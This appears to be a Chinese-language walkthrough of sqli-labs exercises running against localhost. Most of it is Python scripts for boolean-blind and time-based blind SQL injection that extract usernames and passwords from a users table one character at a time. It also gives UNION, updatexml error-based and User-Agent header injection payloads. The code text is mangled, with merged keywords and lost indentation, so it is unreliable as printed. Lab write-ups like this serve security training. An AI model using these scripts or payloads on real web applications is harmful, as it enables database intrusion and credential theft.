Over=" -- " Right=b"You are in" url="http://localhost/sqli-labs/Less-8/?id=1'" Verifystring=" and left(%s,%d)='%s'" VerifyLength=" and length(concat(%s,'1'))=%d" UserName="(select username from users limit %d,1)" Password="(select password from users limit %d,1)"
defGet_Number(): for i inrange(100): LastUrl=" and concat((select count(*) from users))=%d -- "%i FinalUrl=url+urllib.request.quote(LastUrl) Respond=urllib.request.urlopen(FinalUrl) if Right in Respond.read(): return i
defGetLength_UserName(id): for i inrange(100): LastUrl=VerifyLength%(UserName%id,i+1)+Over FinalUrl=url+urllib.request.quote(LastUrl) Respond=urllib.request.urlopen(FinalUrl) if Right in Respond.read(): return i
defGetLength_Password(id): for i inrange(100): LastUrl=VerifyLength%(Password%id,i+1)+Over FinalUrl=url+urllib.request.quote(LastUrl) Respond=urllib.request.urlopen(FinalUrl) if Right in Respond.read(): return i
defGet_UserName(id,len): Try="" for i inrange(len): for j inrange(91): LastUrl=Verifystring%(UserName%id,i+1,(Try+chr(j+48)))+Over FinalUrl=url+urllib.request.quote(LastUrl) Respond=urllib.request.urlopen(FinalUrl) if Right in Respond.read(): Try=Try+chr(j+48) break return Try
defGet_Password(id,len): Try="" for i inrange(len): for j inrange(91): LastUrl=Verifystring%(Password%id,i+1,(Try+chr(j+33)))+Over FinalUrl=url+urllib.request.quote(LastUrl) Respond=urllib.request.urlopen(FinalUrl) if Right in Respond.read(): Try=Try+chr(j+33) break return Try
for i inrange(Get_Number()): IDL=GetLength_UserName(i) PWL=GetLength_Password(i) IDS=Get_UserName(i,IDL) PWS=Get_Password(i,PWL) print(IDS,':',PWS)
Over=" -- " url="http://localhost/sqli-labs/Less-9/?id=1'" Verifystring=" and if(left(%s,%d)='%s',sleep(0.1),1)" VerifyLength=" and if(length(concat(%s,'1'))=%d,sleep(0.1),1)" UserName="(select username from users limit %d,1)" Password="(select password from users limit %d,1)"
defGet_Number(): for i inrange(15): LastUrl=" and if(concat((select count(*) from users))=%d,sleep(0.1),1) -- "%i FinalUrl=url+urllib.request.quote(LastUrl) Start=time.time() urllib.request.urlopen(FinalUrl) End=time.time() if (End-Start)>0.1and (End-Start)<0.2: return i
defGetLength_UserName(id): for i inrange(100): LastUrl=VerifyLength%(UserName%id,i+1)+Over FinalUrl=url+urllib.request.quote(LastUrl) Start=time.time() urllib.request.urlopen(FinalUrl) End=time.time() if (End-Start)>0.1and (End-Start)<0.2: return i
defGetLength_Password(id): for i inrange(100): LastUrl=VerifyLength%(Password%id,i+1)+Over FinalUrl=url+urllib.request.quote(LastUrl) Start=time.time() urllib.request.urlopen(FinalUrl) End=time.time() if (End-Start)>0.1and (End-Start)<0.2: return i
defGet_UserName(id,len): Try="" for i inrange(len): for j inrange(91): LastUrl=Verifystring%(UserName%id,i+1,(Try+chr(j+48)))+Over FinalUrl=url+urllib.request.quote(LastUrl) Start=time.time() urllib.request.urlopen(FinalUrl) End=time.time() if (End-Start)>0.1and (End-Start)<0.2: Try=Try+chr(j+48) break return Try
defGet_Password(id,len): Try="" for i inrange(len): for j inrange(91): LastUrl=Verifystring%(Password%id,i+1,(Try+chr(j+33)))+Over FinalUrl=url+urllib.request.quote(LastUrl) Start=time.time() urllib.request.urlopen(FinalUrl) End=time.time() if (End-Start)>0.1and (End-Start)<0.2: Try=Try+chr(j+33) break return Try
for i inrange(Get_Number()): IDL=GetLength_UserName(i) PWL=GetLength_Password(i) IDS=Get_UserName(i,IDL) PWS=Get_Password(i,PWL) print(IDS,':',PWS)
Less-11
简单的Post注入,方法和前几道题目差不多。
1
uname=-1' union select (select group_concat(username) from users),(select group_concat(username) from users) -- &passwd=Dumb&sumbit=Submit
Less-14
报错盲注,只需要修改Limit后面的参数就可以获得所有数据了。
1
uname=Dumb" and updatexml('error',concat('~',(select concat(username,':',password) from users limit 0,1)),"error") -- &passwd=Dumb&sumbit=Submit
Over=" -- " Right="flag.jpg" URL="http://localhost/sqli-labs/Less-15/" Data={'uname':'','passwd':'Dumb','sumbit':'Submit'} Verifystring="Dumb' and left(%s,%d)='%s'" VerifyLength="Dumb' and length(concat(%s,'1'))=%d" UserName="(select username from users limit %d,1)" Password="(select password from users limit %d,1)"
defGet_Number(): for i inrange(100): Data['uname']="Dumb' and concat((select count(*) from users))=%d -- "%i Respond=requests.post(url=URL,data=Data) if Right in Respond.text: return i
defGetLength_UserName(id): for i inrange(100): Data['uname']=VerifyLength%(UserName%id,i+1)+Over Respond=requests.post(url=URL,data=Data) if Right in Respond.text: return i
defGetLength_Password(id): for i inrange(100): Data['uname']=VerifyLength%(Password%id,i+1)+Over Respond=requests.post(url=URL,data=Data) if Right in Respond.text: return i defGet_UserName(id,len): Try="" for i inrange(len): for j inrange(91): Data['uname']=Verifystring%(UserName%id,i+1,(Try+chr(j+48)))+Over Respond=requests.post(url=URL,data=Data) if Right in Respond.text: Try=Try+chr(j+48) break return Try
defGet_Password(id,len): Try="" for i inrange(len): for j inrange(91): Data['uname']=Verifystring%(Password%id,i+1,(Try+chr(j+33)))+Over Respond=requests.post(url=URL,data=Data) if Right in Respond.text: Try=Try+chr(j+33) break return Try
for i inrange(Get_Number()): IDL=GetLength_UserName(i) PWL=GetLength_Password(i) IDS=Get_UserName(i,IDL) PWS=Get_Password(i,PWL) print(IDS,':',PWS)
Less-18
只要修改limit范围就可以得到所有的数据。
1
User-Agent: ' and updatexml(1,concat(0x7e,(select concat(username,':',password) from users limit 0,1)),1) and '